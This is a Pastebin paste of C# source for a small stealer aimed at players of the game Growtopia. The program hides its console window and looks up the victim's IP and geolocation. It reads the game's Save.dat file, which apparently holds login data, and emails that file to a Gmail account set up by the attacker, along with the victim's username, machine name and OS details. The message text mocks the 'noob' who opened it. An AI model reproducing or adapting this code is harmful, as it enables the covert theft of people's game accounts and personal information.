SHARE
TWEET

1.3 code

a guest Mar 20th, 2016 84 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Linq;
  5. using System.Net;
  6. using System.Net.Mail;
  7. using System.Runtime.InteropServices;
  8. using System.Text;
  9. using System.Threading.Tasks;
  10. using System.Management;
  11.  
  12. namespace savedat
  13. {
  14.     class Program
  15.     {
  16.         [DllImport("user32.dll")]
  17.         static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  18.  
  19.         [DllImport("Kernel32")]
  20.         private static extern IntPtr GetConsoleWindow();
  21.  
  22.         const int SW_HIDE = 0;
  23.         const int SW_SHOW = 5;
  24.  
  25.         static void Main(string[] args)
  26.         {
  27.             IntPtr hwnd;
  28.             hwnd = GetConsoleWindow();
  29.             ShowWindow(hwnd, SW_HIDE);
  30.             string externalip = new WebClient().DownloadString("http://icanhazip.com");
  31.             externalip = new System.Net.WebClient().DownloadString("http://bot.whatismyipaddress.com");
  32.             externalip = new System.Net.WebClient().DownloadString("http://ipinfo.io/ip");
  33.             string growtopia = "\\Growtopia\\Save.dat";
  34.             string kek = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
  35.             string lol = externalip.ToUpper();
  36.             string geoip = new WebClient().DownloadString("http://api.predator.wtf/geoip/?arguments=" + externalip);
  37.             string betterip = "http://api.predator.wtf/geoip/?arguments=" + externalip;
  38.             string fromEmail; string toEmail; string subject; string body; string gmailUser; string gmailPass; string savedat;
  39.            
  40.             [highlight=yellow]gmailUser = "Examble@Gmail.com";
  41.             gmailPass = "Gmailpass";[/highlight]
  42.             toEmail = gmailUser;
  43.             fromEmail = gmailUser;
  44.             string userName = Environment.UserName;
  45.             string computerName = System.Environment.MachineName.ToString();
  46.             subject = Environment.UserName + " / " + computerName + "s Save.dat - " + Environment.UserName;
  47.            
  48.             body = "This noob  " + Environment.UserName + " Opened it.\n" + "Some info:\n" + geoip + "\n" + "\n" + "Or check his Info in better format here: " + betterip + "\n" + "Username: " + Environment.MachineName +"\n" + "Windows Build: " + Environment.OSVersion+ "\n" + "Location Opened in: "+ Environment.CurrentDirectory + "\n" + "Is 64Bit: " +  Environment.Is64BitOperatingSystem + "\n" +  "\n" + "He gives you this!";
  49.            
  50.          
  51.            
  52.             savedat = kek + growtopia;
  53.             MailMessage message = new MailMessage(fromEmail, toEmail, subject, body);
  54.             SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
  55.  
  56.             smtp.EnableSsl = true;
  57.             smtp.Credentials = new NetworkCredential(gmailUser, gmailPass);
  58.            
  59.             if (savedat != string.Empty || savedat != null)
  60.             {
  61.                 Attachment attach = new Attachment(savedat);
  62.                 message.Attachments.Add(attach);
  63.             }
  64.  
  65.             smtp.Send(message);
  66.             return;
  67.         }
  68.          
  69.         }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top